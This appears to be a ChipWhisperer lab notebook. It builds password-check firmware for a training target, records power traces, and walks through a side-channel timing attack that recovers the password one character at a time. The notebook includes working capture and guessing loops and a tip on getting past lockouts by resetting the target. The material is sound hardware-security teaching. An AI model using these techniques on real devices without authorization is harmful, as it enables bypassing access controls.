Timing Analysis with Power for Password Bypass

Supported setups:

SCOPES:

  • OPENADC

  • CWNANO

PLATFORMS:

  • CWLITEARM

  • CWLITEXMEGA

  • CWNANO

This tutorial will introduce you to breaking devices by determining when a device is performing certain operations. It will use a simple password check, and demonstrate how to perform a basic power analysis.

Note this is not a prerequisite to the tutorial on breaking AES. You can skip this tutorial if you wish to go ahead with the AES tutorial.

In [1]:

SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEXMEGA'
CRYPTO_TARGET = 'NONE'

Firmware

Like before, we’ll need to setup our PLATFORM, then build the firmware:

In [2]:

%%bash -s "$PLATFORM" "$CRYPTO_TARGET"
cd ../hardware/victims/firmware/basic-passwdcheck
make PLATFORM=$1 CRYPTO_TARGET=$2

Out [2]:

rm -f -- basic-passwdcheck-CWLITEXMEGA.hex

rm -f -- basic-passwdcheck-CWLITEXMEGA.eep

rm -f -- basic-passwdcheck-CWLITEXMEGA.cof

rm -f -- basic-passwdcheck-CWLITEXMEGA.elf

rm -f -- basic-passwdcheck-CWLITEXMEGA.map

rm -f -- basic-passwdcheck-CWLITEXMEGA.sym

rm -f -- basic-passwdcheck-CWLITEXMEGA.lss

rm -f -- objdir/*.o

rm -f -- objdir/*.lst

rm -f -- basic-passwdcheck.s simpleserial.s XMEGA_AES_driver.s uart.s usart_driver.s xmega_hal.s

rm -f -- basic-passwdcheck.d simpleserial.d XMEGA_AES_driver.d uart.d usart_driver.d xmega_hal.d

rm -f -- basic-passwdcheck.i simpleserial.i XMEGA_AES_driver.i uart.i usart_driver.i xmega_hal.i

.

-------- begin --------

avr-gcc (WinAVR 20100110) 4.3.3

Copyright (C) 2008 Free Software Foundation, Inc.

This is free software; see the source for copying conditions.  There is NO

warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.



.

Compiling C: basic-passwdcheck.c

avr-gcc -c -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_0 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/basic-passwdcheck.lst -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99 -MMD -MP -MF .dep/basic-passwdcheck.o.d basic-passwdcheck.c -o objdir/basic-passwdcheck.o

.

Compiling C: .././simpleserial/simpleserial.c

avr-gcc -c -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_0 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/simpleserial.lst -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99 -MMD -MP -MF .dep/simpleserial.o.d .././simpleserial/simpleserial.c -o objdir/simpleserial.o

.

Compiling C: .././hal/xmega/XMEGA_AES_driver.c

avr-gcc -c -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_0 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/XMEGA_AES_driver.lst -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99 -MMD -MP -MF .dep/XMEGA_AES_driver.o.d .././hal/xmega/XMEGA_AES_driver.c -o objdir/XMEGA_AES_driver.o

.

Compiling C: .././hal/xmega/uart.c

avr-gcc -c -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_0 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/uart.lst -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99 -MMD -MP -MF .dep/uart.o.d .././hal/xmega/uart.c -o objdir/uart.o

.

Compiling C: .././hal/xmega/usart_driver.c

avr-gcc -c -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_0 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/usart_driver.lst -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99 -MMD -MP -MF .dep/usart_driver.o.d .././hal/xmega/usart_driver.c -o objdir/usart_driver.o

.

Compiling C: .././hal/xmega/xmega_hal.c

avr-gcc -c -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_0 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/xmega_hal.lst -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99 -MMD -MP -MF .dep/xmega_hal.o.d .././hal/xmega/xmega_hal.c -o objdir/xmega_hal.o

.

Linking: basic-passwdcheck-CWLITEXMEGA.elf

avr-gcc -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_0 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/basic-passwdcheck.o -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99 -MMD -MP -MF .dep/basic-passwdcheck-CWLITEXMEGA.elf.d objdir/basic-passwdcheck.o objdir/simpleserial.o objdir/XMEGA_AES_driver.o objdir/uart.o objdir/usart_driver.o objdir/xmega_hal.o --output basic-passwdcheck-CWLITEXMEGA.elf -Wl,-Map=basic-passwdcheck-CWLITEXMEGA.map,--cref   -lm

.

Creating load file for Flash: basic-passwdcheck-CWLITEXMEGA.hex

avr-objcopy -O ihex -R .eeprom -R .fuse -R .lock -R .signature basic-passwdcheck-CWLITEXMEGA.elf basic-passwdcheck-CWLITEXMEGA.hex

.

Creating load file for EEPROM: basic-passwdcheck-CWLITEXMEGA.eep

avr-objcopy -j .eeprom --set-section-flags=.eeprom="alloc,load" 
    --change-section-lma .eeprom=0 --no-change-warnings -O ihex basic-passwdcheck-CWLITEXMEGA.elf basic-passwdcheck-CWLITEXMEGA.eep || exit 0

.

Creating Extended Listing: basic-passwdcheck-CWLITEXMEGA.lss

avr-objdump -h -S -z basic-passwdcheck-CWLITEXMEGA.elf > basic-passwdcheck-CWLITEXMEGA.lss

.

Creating Symbol Table: basic-passwdcheck-CWLITEXMEGA.sym

avr-nm -n basic-passwdcheck-CWLITEXMEGA.elf > basic-passwdcheck-CWLITEXMEGA.sym

Size after:

   text        data     bss     dec     hex filename

   2630         304     260    3194     c7a basic-passwdcheck-CWLITEXMEGA.elf

+--------------------------------------------------------

+ Built for platform CW-Lite XMEGA

+--------------------------------------------------------

Setup

Setup is the same as usual, except this time we’ll be capturing 2000 traces.

In [3]:

%run "Helper_Scripts/Setup_Generic.ipynb"

In [4]:

fw_path = '../hardware/victims/firmware/basic-passwdcheck/basic-passwdcheck-{}.hex'.format(PLATFORM)

In [5]:

cw.program_target(scope, prog, fw_path)

Out [5]:

XMEGA Programming flash...
XMEGA Reading flash...
Verified flash OK, 2933 bytes

Communicating With The Target

As was mentioned at the beginning of the tutorial, the firmware we loaded onto the target implements a basic password check. After getting a '\n' terminated password, the target checks it and enters an infinite loop, so before communicating with it, we’ll need to reset it.

We’ll be doing this a lot, so we’ll define a function that resets the target (this function is also available by running “Helper_Scripts/Setup.ipynb” as we did above):

In [6]:

import time
def reset_target(scope):
    if PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
        scope.io.pdic = 'low'
        time.sleep(0.05)
        scope.io.pdic = 'high'
        time.sleep(0.05)
    else:
        scope.io.nrst = 'low'
        time.sleep(0.05)
        scope.io.nrst = 'high'
        time.sleep(0.05)

The target sends some text to us upon starting. After running the block below, you should see some text appear.

NOTE The text may appear cutoff, accompanied by a message about data loss. This means that the buffer used to store serial data (128 bytes) from the target is full. This isn’t an issue here, since the text is just aesthetic, but keep this in mind if you want to do large transfers of serial data using ChipWhisperer.

In [7]:

ret = ""
reset_target(scope)

num_char = target.in_waiting()
while num_char > 0:
    ret += target.read(timeout=10)
    time.sleep(0.05)
    num_char = target.in_waiting()

print(ret)

Out [7]:

WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
*****Safe-o-matic 3000 Booting...
Aligning bits........[DONE]
Checking Cesium RNG..[DONE]
Masq*****Safe-o-matic 3000 Booting.Decrypting database..[DONE]


WARNING: UNAUTHORIZED ACCESS WILL BE PUNISHED
Please enter password to continue:

Now we can send the target a password:

In [8]:

target.flush()
target.write("h0px3\n")

And get the response. We sent it the right password (hopx3), so you should see “Access granted, Welcome!”:

In [9]:

print(target.read(timeout=100))

Out [9]:

Access granted, Welcome!

tip

In real systems, you may often know one of the passwords, which is sufficient to investigate the password checking routines as we will do. You also normally have an ability to reset passwords to default. While the reset procedure would erase any data you care about, the attacker will be able to use this ‘sacrificial’ device to learn about possible vulnerabilities. So the assumption that we have access to the password is really just saying we have access to a password, and will use that knowledge to break the system in general.

Recording Traces

Now that we can communicate with our super-secure system, our next goal is to get a power trace while the target is running. To do this, we’ll arm the scope just before we send our password attempt, then record the trace as we’ve done before.

In [10]:

if PLATFORM == "CWNANO":
    scope.adc.samples = 800
else:
    scope.adc.samples = 2000

In [11]:

ret = ""
reset_target(scope)
num_char = target.in_waiting()
while num_char > 0:
    ret += target.read(timeout=10)
    time.sleep(0.01)
    num_char = target.in_waiting()

print(ret)
scope.arm()
target.flush()
target.write("h0px3\n")
ret = scope.capture()
if ret:
    print('Timeout happened during acquisition')

trace = scope.get_last_trace()
resp = ""
num_char = target.in_waiting()
while num_char > 0:
    resp += target.read(timeout=10)
    time.sleep(0.01)
    num_char = target.in_waiting()
print(resp)

Out [11]:

*****Safe-o-matic 3000 Booting...
Aligning bits........[DONE]
Checking Cesium RNG..[DONE]
Masquerading flash...[DONE]
Decrypting database..[DONE]


WARNING: UNAUTHORIZED ACCESS WILL BE PUNISHED
Please enter password to continue:
Access granted, Welcome!

Now that we have a trace, we’ll use bokeh to plot it:

In [12]:

from bokeh.plotting import figure, show
from bokeh.io import output_notebook
from bokeh.models import CrosshairTool

output_notebook()
p = figure()
x_range = range(0, len(trace))
p.line(x_range, trace)
show(p)

Out [12]:

Loading BokehJS ...

Timing Analysis

Now that we can capture traces, we can begin planning our attack. First we’ll make a function to guess a password and return a power trace, since we’ll be repeating those steps a lot:

In [13]:

def cap_pass_trace(pass_guess):
    ret = ""
    reset_target(scope)
    num_char = target.in_waiting()
    while num_char > 0:
        ret += target.read(num_char, 10)
        time.sleep(0.01)
        num_char = target.in_waiting()

    scope.arm()
    target.write(pass_guess)
    ret = scope.capture()
    if ret:
        print('Timeout happened during acquisition')

    trace = scope.get_last_trace()
    return trace

Next, we’ll try two different passwords and see if the power traces differ by length. We’ll then plot both traces on the same figure (with the first in red and the second in blue).

In [14]:

trace = cap_pass_trace("\n")
new_trace = cap_pass_trace("h\n")
x_range = range(0, len(new_trace))
p = figure()
p.add_tools(CrosshairTool())
p.line(x_range, new_trace)
p.line(x_range, trace, line_color='red')
show(p)

Out [14]:

You should see both traces start and end similarly, but differ elsewhere. If you look closely, you should see that the blue trace looks a lot like the red trace but shifted later in time. We’ll use this timing difference to break the password!

Edit the above block to try different passwords and see how it changes for different lengths and number of correct characters.

Go back to the original guesses ("\n" and "h\n") and find some distinct spikes that get shifted in time. Your target may differ, but in my case, there were some distinct spikes of about -0.21 at 217 in red and 253 in blue. The plot is interactive, so you can zoom in and move around using the buttons on the right side of the plot. Record their locations, value, and the difference in location (in my case, 217, 253, -0.21, and 36).

Attacking a Single Letter

Now that we’ve located a distinctive timing difference, we can start building our attack. We’ll start with a single letter, since that will quickly give us some feedback on the attack.

The plan for the attack is simple: keep guessing letters until we no longer see the distinctive spike in the original location. To do this, we’ll create a loop that:

  • Figures out our next guess

  • Does the capture and records the trace

  • Checks if sample 217 is larger than -0.2 (replace with appropriate values)

To make things a little easier for later, we’ll make a function that will return whether our spike is (guess incorrect) or isn’t (guess correct) in the right location:

In [15]:

def checkpass(trace, i):
    if PLATFORM == "CWNANO":
        #There's a bit of jitter
        return (trace[228 + 11*i] < 3 and trace[227 + 11*i] < 0.3)
    elif PLATFORM == "CWLITEARM" or PLATFORM == "CW308_STM32F3":
        return trace[229 + 36*i] > -0.2
    elif PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
        return trace[121 + 72 * i] > -0.3

The below loop finds the first correct character, prints it, then ends. You should see “Success: h” after a while.

In [16]:

trylist = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""
for c in trylist:
    next_pass = password + c + "\n"
    trace = cap_pass_trace(next_pass)
    if checkpass(trace, 0):
        print("Success: " + c)
        break

Out [16]:

WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
Success: h

Attacking the Full Password

Now that we can guess a single character, attacking the rest is easy; we just need to repeat the process in another loop, move the check point (this is the change is location you recorded earlier), and update our guess with the new correct letter.

After updating the below script and running it, you should see parts of the password printed out as each letter is found.

In [17]:

trylist = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""
for i in range(5):
    for c in trylist:
        next_pass = password + c + "\n"
        trace = cap_pass_trace(next_pass)
        if checkpass(trace, i):
            password += c
            print("Success, pass now {}".format(password))
            break

Out [17]:

Success, pass now h
Success, pass now h0
Success, pass now h0p
Success, pass now h0px
Success, pass now h0px3

That’s it! You should have successfully cracked a password using the timing attack. Some notes on this method:

  • The target device has a finite start-up time, which slows down the attack. If you wish, remove some of the printf()’s from the target code, recompile and reprogram, and see how quickly you can do this attack.

  • The current script doesn’t look for the “WELCOME” message when the password is OK. That is an extension that allows it to crack any size password.

  • If there was a lock-out on a wrong password, the system would ignore it, as it resets the target after every attempt.

Conclusion

This tutorial has demonstrated the use of the power side-channel for performing timing attacks. A target with a simple password-based security system is broken.

In [18]:

scope.dis()
target.dis()

Tests

In [19]:

assert (password == "h0px3"), "Failed to break password, got {}.\nIf on Nano, may need to rerun".format(password)

In [ ]: